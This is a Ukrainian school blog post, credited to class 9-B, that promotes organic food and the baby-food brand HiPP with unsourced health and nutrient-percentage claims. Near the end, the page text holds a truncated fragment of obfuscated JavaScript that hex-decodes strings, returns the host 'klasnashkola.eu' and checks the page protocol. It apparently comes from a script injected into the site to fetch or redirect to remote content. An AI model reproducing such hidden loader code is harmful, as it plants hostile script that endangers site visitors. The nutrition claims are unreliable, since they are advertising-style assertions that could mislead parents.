Звідки ми можемо дізнатися про корисну їжу, 9-Б

445140_970164_1341212418 1325590136_1304483104_x_9acd9283vkusnaya-i-poleznaya-eda1Думаю, що багато хто, хоть одного разу задумувався над питанням звідки м можемо брати корисну їжу, і 9-Б провів невеликий аналіз.  В Україні органічні продукти стають дуже популярними. Їх вже можна купити не тільки в спеціалізованих магазинах, але й у звичайних супермаркетах. Відрізнити органічні продукти можна по знаку на етикетці – листочок з зірочок на зеленому тлі. У дитячому харчуванні також є виробники органічних продуктів, наприклад HiPP. Компанія HiPP є одним з основоположників органічного виробництва і найбільшим переробником органічної сировини в світі. Внутрішні стандарти якості органічних продуктів компанії HiPP свідомо встановленні вище європейських, тому що для HiPP органіка – це філософія їхнього бізнесу.
Чим же відрізняються органічні продукти від звичайних?

Екологічна безпека

► Вони не містять нітратів, важких металів, антибіотиків, ГМО та інших шкідливих речовин.
► Завдяки натуральному походженню вони набагато рідше провокують алергію у малюка, а його імунна система формується природним шляхом.
► Краще засвоюються, не порушують стан мікрофлори кишечника, тому у малюка не виникає проблем з травленням і випорожненням.

Підвищена харчова цінність

Овочі та фрукти

• Органічні овочі та фрукти містять більше вітамінів, мікроелементів і харчових волокон.
• У зеленому салаті, наприклад, на 25% більше антиоксидантів, важливих для зміцнення імунітету.
• Капуста, яблука і помідори на 30% багатші на вітамін С.
• Картопля цінна подвійною порцією флавоноїдів, які зміцнюють імунітет.
• А в моркві на 12% вищий вміст важливого для зору бета-каротину.

Молоко

• Кількість жирних кислот Омега-3 в органічному молоці вище в три рази! Це важливо для розвитку мозку і зору.
• Воно містить на 75% більше вітаміну А, що відповідає за стан зору і шкіри.
• У грудних дітей, мами яких живляться органічними продуктами, знижується ризик розвитку алергії і порушення травлення.

М´ясо

• М´ясо містить більше білка і менше жиру, тому воно краще засвоюється.
• У ньому в 4-5 разів більше ненасичених жирних кислот Омега-3 важливих для розвитку мозку і зору.
• Містить підвищену кількість гемового заліза, необхідного для нормального кровотворення і профілактики анемії.

Злаки і бобові

• Злаки і бобові містять підвищену кількість вітамінів, мінеральних речовин, незамінних амінокислот, наприклад, в органічній пшениці їх більше на 5-15%, що важливо для повноцінного раціону харчування.

Кращий смак

Завдяки натуральному вирощуванню, повільному зростанню і природним термінам дозрівання органічні продукти містять менше води і відповідно більше м´якоті, тому вони містять більше натуральних вітамінів і мають більш насичений смак і аромат.

tumblr_lxkybpHJIK1qfnvzho1_1280

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "klasnashkola.eu"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Share Button

1 коментар

Написати відповідь до ANNA Скасувати відповідь

Ваша пошт@ не публікуватиметься. Обов’язкові поля позначені *

Можна використовувати XHTML теґи та атрибути: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>